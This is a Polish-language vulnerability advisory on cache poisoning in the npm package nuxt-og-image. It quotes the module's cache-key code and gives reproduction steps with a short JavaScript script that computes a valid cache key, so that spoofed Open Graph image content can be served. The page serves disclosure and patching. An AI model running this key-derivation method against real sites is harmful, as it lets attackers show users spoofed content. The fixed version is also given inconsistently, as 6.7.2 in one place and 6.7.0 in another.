Średnia

Zatruwanie pamięci podręcznej w Nuxt OG Image poprzez możliwe do wyliczenia klucze na niepodpisanych trasach dynamicznych obrazów

  • Ujawniono: 15.10.2026
  • Aktualizacja: 19.10.2026 08:00

Dostawca: Nuxt Produkt: Nuxt OG Image Wersja: 6.2.5 Opis: Ze względu na specyfikę buforowania i generowania kluczy w pamięci podręcznej obrazów Open Graph tworzonej przez moduł, nieuwierzytelniony atakujący może zmodyfikować zawartość obrazu (na przykład parametr title) dostarczanego użytkownikowi. Wpływ: Podszywanie się pod zawartość (Content Spoofing) Podatny komponent: trasa /_og/d/*.png Warunki eksploatacji: Dostęp do aplikacji Mitygacja: Zaktualizuj do 6.7.2 i ustaw odpowiednio bezpieczny secret w konfiguracji ogImage Badacz: Dmitry Vanin (Positive Technologies)

Badania

Podczas poprzednich badań nad podatnością,) odkryto, że wersja 6.2.5 zmieniła mechanizm generowania indeksów pamięci podręcznej; obecnie uwzględnia ona parametry przekazywane podczas generowania obrazu.

Obraz jest jednak nadal generowany na podstawie danych przekazywanych atakującemu.

Listing 1. Nowy kod do generowania indeksów w pamięci podręcznej

js
export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

W tym przypadku basePath jest pobierany z parametru _path, natomiast resolvedOptions to znormalizowane ustawienia komponentu, na przykład:

Listing 2. Przykład resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

Z analizy resolvedOptions wyciągnięto wniosek, że na ogół wszystkie parametry są znane albo z bezpośredniego odnośnika do OG Image, albo z odpowiedzi serwera.

Odtworzenie podatności

  1. Znajdź trasę do OG Image. Rysunek 1. Demonstracja wyszukiwania trasy do OG Image image (width: 974, height: 361)

  2. Pobierz parametry z odpowiedzi serwera, zwłaszcza cacheMaxAgeSeconds (nagłówek cache-control, klucz s-maxage); pozostałe parametry są znane z tagów meta oraz z parametru c_<component name>. Rysunek 2. Pozyskiwanie parametrów image (width: 974, height: 245)

  3. Wygeneruj klucz pamięci podręcznej za pomocą skryptu. Listing 3. Skrypt

js
import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))
  1. Powtórz kroki jak w podatności 1,), przesyłając dodatkowo uzyskany cacheKey.

  2. W ten sposób uzyskano ten sam wynik co w podatności 1). Rysunek 4. Odpowiedź serwera image (width: 974, height: 729)

Podziękowania

Badacz: Dmitry Vanin (Positive Technologies)

Co trzeba zrobić

Zaktualizuj do wersji 6.7.2 i ustaw odpowiednio bezpieczny secret w konfiguracji ogImage.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm nuxt-og-image >= 6.2.5, < 6.7.0 6.7.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-349
Platforma
npm
Paczka
nuxt-og-image
Ujawniono
15.10.2026
Aktualizacja
19.10.2026 08:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-2x6f-rp82-ppmj - CC BY 4.0

Historia podatności: nuxt-og-image

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
6
Pierwsza → ostatnia
03.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Średnia 5
  • Niska 1

Ujawnienia w latach

  1. 2026: 6
  1. Zatruwanie pamięci podręcznej w Nuxt OG Image poprzez możliwe do wyliczenia klucze na niepodpisanych trasach dynamicznych obrazów ten wpis
    Średnia CVE-2026-102527 >= 6.2.5, < 6.7.0 6.7.0
  2. Średnia CVE-2026-61793 >= 6.0.2, < 6.7.0 6.7.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.